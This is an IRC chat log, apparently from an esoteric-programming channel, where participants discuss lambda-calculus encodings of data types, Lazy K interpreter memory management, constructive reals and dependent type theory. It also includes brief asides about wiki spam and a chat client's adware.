18:18:08 <Sgeo> Ah
18:18:12 <alise_> Bleh.
18:18:17 <alise_> Not interesting enough.
18:18:25 <pikhq> Also, is somewhat overhead-heavy if done naively.
18:18:50 <fax> okay im here
18:19:55 <alise_> It would be interesting to have a language where all expressions result in infinite structures.
18:20:04 <alise_> Then reference counting would be /useless/ :)
18:20:42 <pikhq> Most of the work in making the interpreter GC'd was removing the reference counting and the inefficient pool allocator.
18:21:08 <pikhq> Adding the GC-ness was... "class Expr : public gc {"
18:23:53 <Gregor> `calc 1 metric fuckton in US fucktons
18:24:02 <fax> `calc 1000000000000000000000000000000000000000000000000
18:24:05 <HackEgo> twitterbits.com/wp-content/plugins/as-pdf/generate.php?post=11 - [21]Similar
18:24:06 <HackEgo> yodellingllama.com/?p=1183 - [16]Cached - [17]Similar
18:25:41 <Gregor> pikhq: Y'know, I'm starting to think that metric fucktons aren't even a real unit!
18:27:36 <pikhq> Hahah.
18:28:28 <pikhq> http://sprunge.us/OLIF It's a Lazy K interpreter that doesn't leak memory!
18:28:51 <alise_> Is it a bird? Is it a plain? No...
18:28:55 <alise_> (This is Jeopardy, right?)
18:29:02 <alise_> *plane >_<
18:30:29 <pikhq> (note: still more complicated than it should be. C++: because iostreams suck so much we write our own stream class for everything)
18:31:25 -!- BeholdMyGlory has quit (Ping timeout: 260 seconds).
18:34:18 * alise_ wonders whether he's invented the Church, Mogensen-Scott or an entire, unnamed other encoding.
18:34:26 <alise_> (The latter is unlikely.)
18:35:31 <fax> Mogensen-Scott is best
18:35:35 -!- Phantom_Hoover has joined.
18:36:04 <alise_> How do you encode Nil | Cons ? List in Mogensen-Scott? I have:
18:36:08 <alise_> Nil = \f g x. f x
18:36:08 <alise_> Cons = \head tail f g x. tail f g (g head x)
18:36:10 <alise_> Z | S Nat:
18:36:10 <alise_> Z = \f g x. f x
18:36:10 <alise_> S = \nat f g x. nat f g (g x)
18:36:11 <alise_> A ? | B ?:
18:36:12 <alise_> A = \val f g x. f val x
18:36:12 <alise_> B = \val f g x. g val x
18:36:29 <Phantom_Hoover> Are there any people acquainted with the Linux kernel here?
18:36:30 <alise_> and finally, A | B:
18:36:30 <alise_> A = \f g x. f x
18:36:30 <alise_> B = \f g x. g x
18:36:57 <alise_> So for a given constructor C, you take n functions where there are n constructors, and each function is of the type (... -> x) for the same x for all of them and ... being the arguments to the constructor.
18:37:12 <alise_> If there is no recursion in the type, then you simply call the appropriate function.
18:37:13 <fax> alise weird
18:37:32 <alise_> Otherwise, you invoke your substructure with the same functions, but with the value being substituted for what you'd normally do without the recursion.
18:37:56 <alise_> I may have the function types wrong; forgot about the \x. bit.
18:37:56 <alise_> fax: I think it's the most natural encoding.
18:38:00 <alise_> Case analysis is built-in as the distinct functions.
18:38:11 <alise_> Decomposition of the value also is built-in to each function's argument.
18:38:22 <alise_> And it transforms type recursion into value recursion.
18:38:43 <alise_> So the relevant function gets the /already decomposed, according to your will/ substructure as its argument.
18:39:21 <alise_> fax: and you know what?
18:39:24 <alise_> Prelude> :t cons (1::Integer) (cons 2 nil)
18:39:24 <alise_> cons (1::Integer) (cons 2 nil)
18:39:24 <alise_> :: (t21 -> t2) -> (Integer -> t21 -> t21) -> t21 -> t2
18:39:28 <alise_> It encodes types as their fold.
18:39:31 <alise_> I think their left fold.
18:39:36 <alise_> Maybe right-fold would be more elegant.
18:40:28 <alise_> So succ would be \nat f g x. g (nat f g x)
18:40:43 <alise_> cons would be \hd tl f g x. g head (tail f g x)
18:40:48 <alise_> fax: is that morgonson?
18:41:10 -!- sebbu2 has joined.
18:41:10 <fax> no
18:41:18 <alise_> What is morgonson then?
18:42:15 -!- sebbu has quit (Ping timeout: 245 seconds).
18:42:15 -!- sebbu2 has changed nick to sebbu.
18:45:44 * alise_ tries to transform a tree into it
18:46:43 <alise_> Leaf = \val f g x. f val x
18:46:44 <alise_> Branch = \left right f g x. left f g (g (right f g x) x)
18:46:44 <alise_> or
18:46:44 <alise_> Branch = \left right f g x. g (left f g x) (right f g x)
18:46:44 <alise_> I think
18:46:55 <alise_> I think the latter is better.
18:47:00 <fax> alise did you see my post that uses lambda calculus
18:47:10 <alise_> No; link.
18:47:24 <fax> on the blog
18:47:46 * alise_ attempts to google to find it again
18:49:12 <alise_> hmm
18:49:33 <alise_> church numerals are like this but with f=id
18:49:35 <alise_> which is equivalent
18:49:50 <alise_> and church numerals are A/B without the extra x (equivalent under n)
18:50:18 <alise_> actually
18:50:22 <alise_> false = \g x. x
18:50:26 <alise_> true = \g x. g x
18:50:30 <alise_> so false = \a b. b
18:50:33 <alise_> true = \a. a
18:50:36 <alise_> lol
18:50:55 <alise_> wait i can't have f = id
18:50:57 <alise_> A = \val f g x. f val x
18:50:57 <alise_> B = \val f g x. g val x
18:51:46 <alise_> Prelude> :t branch
18:51:47 <alise_> branch
18:51:47 <alise_> :: (t -> (t2 -> t3 -> t4) -> t1 -> t2)
18:51:47 <alise_> -> (t -> (t2 -> t3 -> t4) -> t1 -> t3)
18:51:47 <alise_> -> t
18:51:47 <alise_> -> (t2 -> t3 -> t4)
18:51:47 <alise_> -> t1
18:51:47 <alise_> -> t4
18:51:48 <alise_> obviously
18:56:45 <alise_> hmm it should be f x val
18:56:49 <alise_> not f val x
18:57:46 <alise_> Cons = \head tail f g x. g (tail f g x) head
18:57:50 <alise_> Er, no, that's not really right.
19:01:40 <alise_> fax: I thought of a really nice property of musing Mu for recursive datatypes.
19:02:14 <fax> musings on Mu -- sounds like a blog post
19:03:49 -!- olsner_ has joined.
19:04:12 <alise_> fax: hehe
19:04:59 <alise_> fax: I often have the issue that I have two types, e.g. expression and pattern, where pattern is like expression but with one extra constructor like Free String
19:05:02 <alise_> so I have to do
19:05:04 <alise_> data Core = ...
19:05:12 <alise_> (oh and expression has some extra thing too)
19:05:16 <alise_> data Expr = Core Core | ...
19:05:20 <alise_> data Pat = Core Core | ...
19:05:21 <alise_> except
19:05:24 <alise_> what if Core is recursive?
19:05:32 <alise_> data Core self = ...
19:05:42 <alise_> data Expr = Core (Core Expr) | ...
19:05:47 <alise_> data Pat = Core (Core Pat) | ...
19:05:49 <alise_> but
19:05:51 <alise_> if Core was defined with mu
19:05:56 <alise_> then it'd be Mu F
19:06:02 <alise_> so we'd just do F (Mu Expr) instead!
19:06:23 <alise_> so Mu actually lets you easily express recursion-substitution of data types
19:08:44 <alise_> I think we need some way to extract the F from a Mu F
19:09:16 <alise_> wait, that's easy
19:09:18 <alise_> extract (Mu F) = F
19:09:22 <alise_> well
19:09:26 <alise_> that requires pattern matching on Mu :P
19:09:39 <Phantom_Hoover> Are you just talking to yourself?
19:10:06 <uorygl> He's talking to whoever is listening.
19:10:14 <alise_> Well, fax would ideally respond.
19:10:29 <Phantom_Hoover> What is it you're talking about?
19:10:33 <Phantom_Hoover> I missed the start.
19:11:36 <alise_> Using Mu-recursive types to encode recursion-substitution of data types.
19:12:17 -!- augur has quit (Ping timeout: 246 seconds).
19:13:31 <alise_> heh () becomes id in my encoding
19:14:10 <Phantom_Hoover> How does that work?
19:14:57 <alise_> http://pastie.org/868169.txt?key=mmgxkfgi4bnnt1ix3u3jqg
19:15:25 <Phantom_Hoover> Haskell?
19:15:37 -!- kar8nga has joined.
19:15:38 <alise_> Well, for the data types (with ? for polymorphism)
19:15:45 <alise_> The expressions, lambda-calculus
19:15:52 <alise_> The format is data Foo = ..., in my representation is ...
19:16:33 <alise_> So a constructor C for a type T with N constructors, C takes N functions of the arity of the corresponding constructor, plus one (of the same type for every function, but polymorphic), and returning something of the same type for every function (but polymorphic).
19:16:48 -!- Asztal has quit (Ping timeout: 265 seconds).
19:16:57 <alise_> Oh, and a value of the type of the first argument of each function.
19:17:05 <alise_> If the data type is not recursive, then the corresponding function is simply called with the value given, plus the constituents of the constructor.
19:17:06 <Phantom_Hoover> *quails*
19:17:20 <alise_> If it is recursive the value given is substituted for the value of calling the substructure with the same functions, and the value.
19:17:30 <alise_> (This is repeated for each recursive element, as different arguments to the function.)
19:17:38 <alise_> Thus:
19:17:40 <alise_> Leaf = \val f g x. f val x
19:17:41 <alise_> Branch = \left right f g x. g (left f g x) (right f g x)
19:17:55 <fax> I was away having dinner
19:18:23 <alise_> fax: That is NOT ALLOWED.
19:18:28 <fax> ;(
19:18:32 <fax> I didn't know
19:18:44 <Phantom_Hoover> Real Programmers eat the dust in the air.
19:18:46 -!- oerjan has joined.
19:18:55 <alise_> fax: well READ WHAT I SAID :|
19:18:58 <fax> hi oerjan!
19:19:00 -!- MizardX- has joined.
19:19:03 -!- MizardX- has quit (Remote host closed the connection).
19:19:05 <oerjan> hi fax
19:19:09 <fax> alise encoding data into lambda calculus is boring though
19:19:12 <oerjan> also alise_
19:19:21 -!- MizardX- has joined.
19:19:23 -!- MizardX- has quit (Changing host).
19:19:23 -!- MizardX- has joined.
19:19:34 <fax> hey
19:19:43 <fax> so where does calulus happen?
19:19:53 <fax> real numbers, finite numbers, data
19:19:55 <fax> what else ?
19:20:10 <alise_> Calculus :: * -> BranchOfMathematics
19:20:18 <alise_> fax: What is there that is not data?
19:20:18 <fax> um
19:20:20 <Phantom_Hoover> Wait, there's and implementation of real numbers on the lambda calculus now?
19:20:23 <alise_> Function calculus perhaps?
19:20:24 <fax> I don't mean lambda calculus
19:20:28 <Phantom_Hoover> s/and/an/
19:20:34 <fax> I mean like "derivatives" and "integrals"
19:20:38 <alise_> Phantom_Hoover: The computable reals are expressible in just about any language.
19:20:45 <fax> on data I mean specifiically: d for data
19:20:46 <alise_> Well-typed at compile time in dependent languages.
19:20:54 <fax> please just understand what I mean :|
19:21:11 <alise_> f : PosRational -> Rational is a computable real number iff for all positive rationals e1, e2, abs (f e1 - f e2) < e1 + e2
19:21:30 <fax> yeah, for computable reals you don't even need recursion
19:21:33 <fax> hm
19:21:36 <fax> "recursion"
19:21:44 <fax> +general
19:22:10 <alise_> yeah if you can do rationals and semi-recursive functions
19:22:12 <alise_> then you can do computable reals
19:22:13 -!- MizardX has quit (Ping timeout: 276 seconds).
19:22:20 -!- MizardX- has changed nick to MizardX.
19:22:24 <alise_> you could even model them in brainfuck if you came up with a function representation
19:22:36 <fax> I should implement some reals, but I'd need quotient field.....
19:22:44 <fax> and I have implemented it but not proved it a field yet
19:23:21 <alise_> *<=
19:23:23 <alise_> not <
19:23:24 <alise_> I always make that mistake
19:23:53 <fax> alise ill tell you the defintion from my bok
19:25:40 <alise_> bok
19:26:19 <fax> alise,
19:26:36 <alise_> really what you need is a cauchy sequence that's all :P
19:27:23 <fax> Serious analysis begins with the real numbers. A /real number/ is a sequence (x_n)_(n>=1) of rational numbers that is /regular/, in the sense that forall m >= 1, forall n >= 1, |x_m - x_n| <= m^-1 + n^-1
19:28:15 <fax> The standard equality on the class R of real numbers is defined so that (x_n) =_R (y_n) if and only if forall n >= 1, |x_n - y_n| <= 2n^-1
19:28:17 <alise_> yeah but if you have an infinite sequence... well that's a function
19:28:33 <alise_> and it's nicer to use if you have the indices be Q+s
19:28:46 <fax> This relation is clearly reflexive and transitive; its transitivity is a consequence of 6.1
19:28:50 <alise_> also equality on the computable reals doesn't always terminate if they're nonequal which sucks
19:28:55 <alise_> imo, using === is better
19:29:03 <alise_> then you just have to prove they're equal or not :))))
19:29:17 <fax> yeah equality is not decidible on R, that's a classical statement
19:29:30 <fax> that =_R I gave above is a proposition
19:29:48 <alise_> yeah
19:29:52 <alise_> ah
19:30:01 <fax> alise want to show you something really cool I saw today
19:30:04 <alise_> i know it's well known
19:30:07 <alise_> but it does so suck
19:30:15 <fax> what sucks??
19:30:27 <oerjan> alise_: um if they're nonequal obviously it terminates, it's the equal case that is problematic
19:30:27 <fax> alise, read this http://coq.inria.fr/stdlib/Coq.Reals.Rlogic.html
19:30:28 <alise_> a NINJA???
19:30:40 <fax> o_o lol
19:33:43 <alise_> oerjan: er right
19:34:08 <oerjan> 09:39:12 <alise> Hmm... (\f. (\x. f (x x)) (\x. f (x x)) would evaluate (x x).
19:34:08 <oerjan> 09:39:19 <alise> So even the lambda-expression of Y would diverge.
19:34:23 <alise_> "transClause :: ..." ;; Mr, now Mrs Clause
19:34:25 <oerjan> well but that expression is unusable in a (just) strict language anyway
19:35:14 <alise_> Theorem not_not_archimedean :
19:35:19 <alise_> forall r : R, ~ (forall n : nat, (INR n <= r)%R).
19:35:19 <alise_> Not not not not not.
19:35:24 <alise_> oerjan: of course
19:35:29 <alise_> having lambda-expressions diverge is hilarious
19:38:10 <oerjan> 10:17:56 <pikhq> Sgeo: Leaks memory with cyclic datastructures.
19:38:27 <oerjan> i don't think lazy-K has cyclic datastructures, but i haven't investigated it
19:38:35 <fax> alise did you read it???
19:39:00 <oerjan> because it doesn't have Y as a primitive
19:39:12 <alise_> fax: yrd
19:39:17 <fax> ??
19:39:17 <alise_> *yes
19:39:25 <fax> now what 'sucks'?
19:39:57 <oerjan> although on the other hand _that_ might perhaps cause memory leaks with recursion that an efficient Y wouldn't give
19:40:22 <alise_> fax: non-propositional equality on reals
19:40:24 <alise_> ffs
19:40:40 <fax> the consequence of decidible equality
19:41:00 <fax> think about classical logic as contained inside constructive..
19:41:05 <oerjan> or perhaps that just causes a lot of duplicate evaluation.
19:41:38 <alise_> fax: what are you trying to say
19:41:59 * oerjan is assuming lazy-K isn't so cleverly implemented as to detect essential uses of Y
19:42:06 <fax> im just talking :|
19:43:47 <alise_> fax: :-) okay
19:44:03 <fax> you think im stupid!!
19:44:05 <fax> ill show you
19:44:09 <alise_> fax: also i'm beginning to think pattern matching in function heads is overrated in dependent langs...
19:44:17 <fax> oh??
19:44:45 <alise_> I don't think you're stupid ffs :)
19:44:46 <alise_> and
19:44:47 <fax> bI don't think a denpendent language needs to support pattern matching
19:44:56 <alise_> I mean as a syntactic thing
19:44:58 <fax> but it should be able to add pattern matching
19:45:05 <alise_> because often pattern matching has drastic effects on the structure of the other arguments
19:45:16 <alise_> so a possibly-nested case expression makes this much clearer
19:45:29 <alise_> and often the analysis is more complex than just does-this-constructor-match
19:45:31 <fax> well you can try programming with nested cases in Coq
19:45:36 <alise_> and function-head matching doesn't really aid that
19:45:55 <fax> at one point I just gave up an implemented (an ad-hoc bug* ridden version of) dependent pattern matching
19:46:17 <fax> (* not actually able to produce wrong results.. but sometimes might not produce any result)
19:47:15 <alise_> well i mean i like dependent pattern matching
19:47:26 <alise_> but I'm specifically criticising
19:47:29 <alise_> f (X ...) = ...
19:47:31 <alise_> f (Y ...) = ...
19:47:50 <fax> yeah but you know case
19:47:53 <fax> you can't just write
19:48:08 <fax> f x = case x of X ... -> ... ; Y ... -> ...
19:48:11 <fax> if it's dependent
19:48:17 <fax> you have to say something about the types
19:48:17 <alise_> hmm.
19:48:22 <alise_> I don't see why
19:48:26 <fax> hmm
19:48:37 <fax> well.................... you do in Coq, is this a fundamental thing though?
19:48:47 <alise_> what do you mean say something about the types btw?
19:48:50 <fax> ISTR augustss writing about it being essential
19:48:53 <fax> well I blogged about it
19:49:33 <oerjan> Phantom_Hoover: that Talk: Befunge message you responded to is spam (try googling it)
19:49:40 -!- Phantom_Hoover has quit (Ping timeout: 265 seconds).
19:49:45 <oerjan> sheesh
19:49:51 <fax> he just does that on purpose
19:49:56 -!- augur has joined.
19:50:34 <oerjan> fax: um that Ping timeout thing isn't is server generated?
19:50:49 <fax> he pulls the plug out 265 seconds before someone talks to him
19:53:14 <alise_> I should have a specialisation of id called ff
19:53:14 <alise_> so I can have
19:53:22 <alise_> tt : ?
19:53:22 <alise_> ff : ?
19:53:26 <alise_> hope that sent right
19:53:30 <fax> ¬???
19:53:35 <fax> oh
19:53:38 <alise_> top/bot
19:53:39 <fax> that ? must have been a 'T'
19:53:39 <alise_> from tt/ff
19:53:44 <alise_> yeah
19:53:48 <alise_> TT : ~T
19:53:49 <alise_> erm
19:53:51 <alise_> oops
19:53:51 <alise_> :D
19:53:54 <alise_> tt : T
19:53:56 <alise_> ff : ~_|_
19:53:56 <fax> looks like Omegamega
19:54:02 <oerjan> hm indeed user quit messages are prefaced with Quit:
19:54:32 <oerjan> (the format changed when they switched ircd)
19:54:48 <alise_> toProp : (b : Bool) -> Sigma (P : Prop) (cond [b => P, not b => ~P])
19:54:49 <alise_> toProp b :=
19:55:00 <alise_> cond [b => T sigma tt, not b => _|_ sigma ff]
19:55:22 <alise_> wondering if i should use case analysis instead of cond
19:55:46 <alise_> yeah it looks nicer
19:55:59 <alise_> I should have ?: with a nicer name :)
19:56:41 -!- Phantom_Hoover has joined.
19:56:59 <oerjan> <oerjan> Phantom_Hoover: that Talk: Befunge message you responded to is spam (try googling it)
19:57:36 <oerjan> Phantom_Hoover: ^
19:59:06 <Phantom_Hoover> Oh.
19:59:14 <Phantom_Hoover> Very weird spam.
19:59:46 <oerjan> Phantom_Hoover: i don't know why they're doing it, but it's fairly common. look out for messages that have no hint the poster knows what the wiki is about.
19:59:50 <ais523> after a while you get a sense as to what's spam and what isn't
20:00:03 <ais523> oerjan: does the page need deleting? or is there legit content on it too?
20:00:19 <oerjan> ais523: i already removed that section, there are lots of legit ones
20:00:28 <ais523> ok
20:01:12 <alise_> i have an excellent spam 'n phish o mometer
20:01:13 <alise_> spam and fish
20:01:15 <fizzie> I should probably start selling fungot licenses to spammers; it's more entertaining than the usual gibberish I see in my inbox. (Though they might not be going for the entertainment value there.)
20:01:15 <alise_> :)
20:01:15 <fungot> fizzie: i was born in a barn?". i assume you'll mostly just want " how did you get my privmsgs?
20:01:31 <alise_> Born in a Barn. fungot. The autobiography.
20:01:32 <fungot> alise_: distributive property for example i wrote program as an ast? i believe the right way
20:01:49 <oerjan> Phantom_Hoover: they have started trying to formulate messages that look like they _could_ be legit, but google shows when they're spammed all over the place
20:02:32 <oerjan> s/place/web/
20:03:51 <fax> ehird
20:03:55 <fax> alise
20:04:04 <ais523> oerjan: that spam is mostly pointless anyway, if they aren't spamming URLs or anything like that
20:04:53 <alise_> fax: I have a feeling I need a real system...
20:04:56 <alise_> I keep using "refl" to substitute for any a === :-)
20:05:00 <alise_> *a === b
20:05:08 <oerjan> ais523: yeah i don't understand why they're doing it either. maybe to test our spam response intelligence?
20:05:14 <fax> alise I don't understand
20:05:30 <fax> you cant use refl unless a and b are convertible
20:05:35 <alise_> fax: don't understand what, my refl thing?
20:05:37 -!- Phantom_Hoover has quit (Ping timeout: 265 seconds).
20:05:39 <ais523> oerjan: I heard an explanation that sounds plausible: the bots are trying to spam their URLs in an URL field, and although MediaWiki doesn't have one the bots don't know that
20:05:42 <alise_> well exactly
20:05:49 <ais523> however, in that case I don't see how they'd be getting past the CAPTCHA
20:05:49 <oerjan> ais523: ah
20:05:52 <alise_> toProp b === T sigma tt? well obviously, it's true!
20:06:05 <fax> that's extentional equality!!!!!
20:06:10 <ais523> spambots generally need some knowledge of how an individual CAPTCHA works before breaking it
20:06:15 <alise_> Proof: refl!
20:06:27 <fax> hrfm
20:06:35 <oerjan> ais523: does our wiki have a special captcha?
20:06:50 <ais523> no, it's MediaWiki's default captcha
20:06:59 <ais523> and a very easily broken one, at that
20:07:01 <oerjan> i don't recall seeing it
20:07:05 <alise_> fax: so? :P
20:07:11 <ais523> oh, wait
20:07:19 <alise_> btw how is apartness defined?
20:07:22 <oerjan> ais523: which means the spammers probably know all about it since a long time ago
20:07:33 <ais523> the CAPTCHA rules are that they come up on attempts to register accounts, and edits by anons that add URLs
20:07:39 <alise_> I thought of having as an argument to the constructor a proposition for which P x but not P y
20:07:40 <ais523> thinking about it: this spam isn't actually adding URLs
20:07:45 <ais523> so it doesn't need to go past the CAPTCHA at all
20:08:06 <oerjan> ais523: heh. also this last spam showed some indication they knew it was a _wiki_, even if not what the wiki was about
20:08:18 <oerjan> (it talked about creating articles)
20:09:35 -!- mano0o0 has joined.
20:09:36 <oerjan> or maybe that's common terminology for other things than wikis too
20:09:49 <ais523> the spam just came up on my feed of all edits to Esolang
20:09:52 <ais523> nothing gets past the admins!
20:09:58 <ais523> just, sometimes other people get there first
20:10:11 <ais523> and that particular comment would make sense on a blog, too
20:10:15 <ais523> although it would mean something else
20:10:22 <oerjan> ais523: oh? what then?
20:10:37 <oerjan> an article would have to posted by a blog owner wouldn't it
20:10:43 <oerjan> *to be
20:10:55 <ais523> oerjan: it means, can someone find me more articles on this subject?
20:11:36 <oerjan> hm not quite, but i see it could be...
20:11:37 <fax> alise, I will show you apartness
20:11:47 <fax> alise I should just write this whole chapter into Coq :P
20:11:53 <oerjan> it sounds like one blogger asking another how they find ideas
20:12:00 <ais523> yep
20:13:31 <fax> x # y if x > y or y > x
20:13:48 <alise_> fax: just look at this pile of shit: http://pastie.org/868241.txt?key=unp3wmm109dzwe6ssnkw
20:13:54 <fax> properties: x = y /\ x # y -> 0 = 1
20:13:58 <alise_> I just cheated through the whole fucking proof by sprinkling refl everywhere! :-P
20:14:03 <oerjan> i wonder if the wiki enabled captchas after i joined (2006)
20:14:05 <alise_> fax: so apartness is only defined if you have an ordering?
20:14:08 <alise_> I had
20:14:12 <fax> x = y /\ y # z -> x # z (??? weird one)
20:14:17 <fax> x # y -> y # z
20:14:19 <fax> x # y -> y # x ***
20:14:26 <fax> x # y -> x # z \/ z # y
20:15:14 <alise_> data Apart : {A:Set} -> (x:A) -> (y:A) -> Prop where lfer : {P : A->Prop} -> ((P x /\ ~P y) \/ (P y /\ ~P x)) -> Apart x y
20:15:39 <ais523> oerjan: it's relatively recent, I had a discussion with Graue about it
20:16:03 <fax> alise what's teh point in making that data?
20:16:07 -!- olsner_ has quit (Quit: olsner_).
20:16:08 <fax> why not just do it as a function definition
20:16:19 <alise_> oh wait I completely neglected my obligation in toBool to supply P | ~P
20:16:19 <alise_> that's why the proof was so easy...
20:18:40 <alise_> what data
20:18:44 <alise_> and because
20:18:46 <fax> 20:14 < alise_> data Apart : {A:Set} -> (x:A) -> (y:A) -> Prop where lfer : {P : A->Prop} -> ((P x /\ ~P y) \/ (P y /\ ~P x)) -> Apart x y
20:18:48 <alise_> toProp : (b : Bool) ? S (P : Prop) (cond b ? P; else ? P)
20:18:49 <alise_> oh you mean apart
20:18:56 <alise_> because === is defined as data sooo
20:19:03 <fax> my um /
20:19:03 <fax> ?
20:19:10 <fax> what's the name of like .. a strategyr
20:19:12 <alise_> well here's a definition
20:19:14 <oerjan> ais523: rings a bell
20:19:17 <fax> except that it's ad-hoc guidlines
20:19:31 <alise_> rule of thumb
20:19:49 <oerjan> fax: heuristic?
20:19:54 <fax> yes!
20:20:13 <fax> my hooristikc is to define the fewest data possible, but the strongest ones
20:20:14 <alise_> apart : {A:Set} -> A -> A -> Prop
20:20:21 <fax> like if two data are similar, you can probably abstract it out
20:20:33 <alise_> apart x y = exists {P : A->Prop}. (P x /\ ~P y) \/ (P y /\ ~P x)
20:20:33 <alise_> or something
20:20:36 <fax> the real reason to define a data type is because you want the strength of its induction principle
20:20:44 <fax> at least that's my (current) view/understanding
20:21:04 <ais523> fax: it looks really weird whenever anyone uses the word "data" correctly
20:21:05 <ais523> well done
20:21:19 <alise_> http://pastie.org/868253.txt?key=nb3ny4djjrabif9xilvalq honestly toBool.toProp===id should just be "obvious"
20:21:29 <alise_> toBool.toProp===id b := obvious
20:22:20 <alise_> obvious : {P : Prop} -> cond isObvious P -> P; else -> T
20:22:43 <fax> tautology "P" -> P ?
20:23:26 <alise_> ?
20:23:31 <alise_> is " quoting?
20:23:55 <alise_> so tautology : (q : Quoted Prop) -> unquote q?
20:24:35 <alise_> fax: so what's the type containing Prop and Set in your opinion? Set_1?
20:27:15 <alise_> s : {A : Set1} ? {B : Set1} ? {P : A ? B} ? (x:A) ? P x ? S (x:A). P x
20:27:15 <alise_> scary type.
20:27:20 <alise_> whoa there mirc
20:27:22 <alise_> what are you doing
20:27:43 <alise_> s : {A : Set1} ? {B : Set1} ? {P : A ? B} ? (x:A) ? P x ? S (x:A). P x
20:27:43 <alise_> hmm
20:28:04 -!- werdan7 has quit (Ping timeout: 619 seconds).
20:28:52 <alise_> well
20:29:22 <alise_> _sigma_ : {A : Set_1} -> {B : Set_1} -> {P : A -> B} -> (x:A) -> P x -> Sigma (x:A). P x
20:29:22 <alise_> anyway
20:30:10 <fax> alise in Coq it's Type (Type[1])
20:30:17 <fax> but I don't really have an opinion on this :P
20:30:29 <alise_> so Set : Type, Prop : Type?
20:30:55 <alise_> fax: I kinda hate having separate Sets and Props
20:31:00 <alise_> because you lose so much isomorphism and neatness
20:31:24 <fax> umf
20:31:28 <fax> I don't knnow what yu mean
20:31:39 <alise_> please, please, PLEASE, when saying you don't know what i mean QUOTE the bit
20:31:41 <alise_> otherwise I can't answer
20:31:45 <fax> 20:30 < alise_> because you lose so much isomorphism and neatness
20:31:59 <alise_> for instance
20:32:12 <alise_> A \/ B = Either A B
20:32:16 <alise_> A /\ B = A * B
20:32:29 <alise_> P \/ ~P then just inspecting left/right to find out which it is
20:32:43 <alise_> forall <-> function
20:32:50 <alise_> exists <-> dependent tuple
20:32:54 <alise_> and so on, so forth
20:35:13 <fax> what
20:35:28 <fax> wait
20:35:37 -!- Phantom_Hoover has joined.
20:35:52 <fax> proofs are different than types
20:35:59 <fax> the reason is proof irrelevance
20:36:04 <alise_> i know!
20:36:15 <fax> so why would you want to get rid of proofs??
20:36:17 <alise_> but if you ignore proof irrelevance like agda, everything is so much prettier and curry-howardish :(
20:36:27 * fax doesn't find it prettier
20:36:36 <fax> hm
20:36:48 <alise_> agda has combined proof/set... and suffers for it, but the isomorphisms are just so appealing
20:36:48 <alise_> 20:31 <alise_> for instance
20:36:48 <alise_> 20:31 <alise_> A \/ B = Either A B
20:36:48 <alise_> 20:31 <alise_> A /\ B = A * B
20:36:48 <alise_> 20:32 <alise_> P \/ ~P then just inspecting left/right to find out which it is
20:36:49 <alise_> 20:32 <alise_> forall <-> function
20:36:49 <alise_> 20:32 <alise_> exists <-> dependent tuple
20:36:50 <alise_> 20:32 <alise_> and so on, so forth
20:36:54 <fax> maybe if we used quotients!!!!
20:37:01 <fax> to make a 'proof' set
20:37:13 <alise_> well it's not prettier per se
20:37:14 <fax> I suppose that's what epigram does
20:37:16 <alise_> but the isomorphisms are elegant
20:37:18 -!- werdan7 has joined.
20:37:22 <alise_> if you don't value isomorphisms -
20:37:23 <fax> what isomorphisms?
20:37:27 <alise_> then why do we persue curry howard?
20:37:27 <fax> are you talking about curry-howard
20:37:29 <alise_> for FUCK's sake
20:37:30 <alise_> 20:31 <alise_> for instance
20:37:30 <alise_> 20:31 <alise_> A \/ B = Either A B
20:37:30 <alise_> 20:31 <alise_> A /\ B = A * B
20:37:30 <alise_> 20:32 <alise_> P \/ ~P then just inspecting left/right to find out which it is
20:37:30 <alise_> 20:32 <alise_> forall <-> function
20:37:30 <alise_> 20:32 <alise_> exists <-> dependent tuple
20:37:31 <alise_> 20:32 <alise_> and so on, so forth
20:37:42 <alise_> THOSE isomorphisms
20:37:44 <fax> stop pasting that, I can't see what you are saying inbetween all this pastes
20:38:04 <alise_> maybe the idea is to read the paste
20:38:04 <alise_> instead of asking for its contents
20:39:53 <alise_> those are (among the) appealing isomorphism s
20:39:55 <alise_> *isomorphisms
20:40:22 <fax> I don't get it
20:41:23 <alise_> what part do you not get
20:41:59 <alise_> data _/\_ : (A:*) -> (B:*) -> * where both : A -> B -> A /\ B
20:42:03 <alise_> look similar to the definition of a tuple to you?
20:42:12 <fax> :S
20:42:38 <alise_> What, it doesn't?
20:42:43 <fax> curry-howard is that typed lambda calculus corresponds to natural deduction ?
20:42:57 <alise_> What I was /trying/ to do is use *analogy*.
20:43:17 <alise_> Curry-Howard: Types in the lambda calculus correspond to statements in intuitionistic logic. W
20:43:24 <alise_> Curry-Howard: Types in the lambda calculus correspond to statements in intuitionistic logic. We love this, and pursue it: it's why we make dependent languages.
20:43:33 <fax> is that a quote?
20:43:34 <alise_> So if you do not appreciate the isomorphisms I listed, why then Curry-Howard?
20:43:38 <alise_> No.
20:43:47 <fax> okay let me get this straight
20:44:02 <fax> no
20:44:04 <fax> no I don't get it
20:44:24 <alise_> What part?
20:44:25 <comex> can't you use v and ^ instead? :p
20:44:31 <fax> I'm asking #haskell
20:44:34 <alise_> comex: Yeah, it's not like v is like a variable name.
20:44:42 <alise_> fax: ugh, you make no sense at all
20:44:55 <alise_> *is a variable name
20:45:11 <fax> this is my question:
20:45:12 <fax> what does 'Curry–Howard correspondence' have to do with dependent types?
20:45:27 <alise_> Ugh! That is IRRELEVANT to my point.
20:45:34 <alise_> Dependent languages make /good proof systems/.
20:45:35 <fax> wow
20:45:40 <fax> why is it irrelevant
20:45:52 <alise_> Because/ of Curry-Howard.
20:45:54 <alise_> *Because
20:45:55 <alise_> *BECAUSE
20:46:37 <alise_> So we, in making our languages, support the isomorphism; recognise it as good. If you do not recognise isomorphisms as a reason for the unification of two general concepts, as in the examples I showed, why then do you recognise Curry-Howard as a good thing?
20:47:23 <fax> I'm not sure what Curry-Howard is exactly
20:47:53 <fax> it seems kinda vauge, like a principle more than a formal statement
20:48:06 <alise_> Duh.
20:48:07 <alise_> Of course it is.
20:48:32 <fax> you needn't be so caustic
20:48:39 <alise_> Sgeo: http://lifehacker.com/5336382/digsby-joins-the-dark-side-uses-your-pc-to-make-money, http://www.downloadsquad.com/2008/11/24/new-digsby-installer-loaded-with-bloat-and-adverts/, http://www.downloadsquad.com/2009/08/14/digsby-responds-to-claims-of-shady-money-making-tactics/
20:50:05 <Sgeo> Survived the first two points raised by LH
20:50:22 <alise_> So?
20:50:25 <alise_> Do you want to support such a company?
20:52:10 <Sgeo> Hm. What alternatives are there, then?
20:52:24 <Sgeo> Pidgin's been sucking for me for some reason, Digsby's company is shady
20:52:25 <alise_> Uh, Pidgin?
20:52:29 <alise_> It sucks but what can you do.
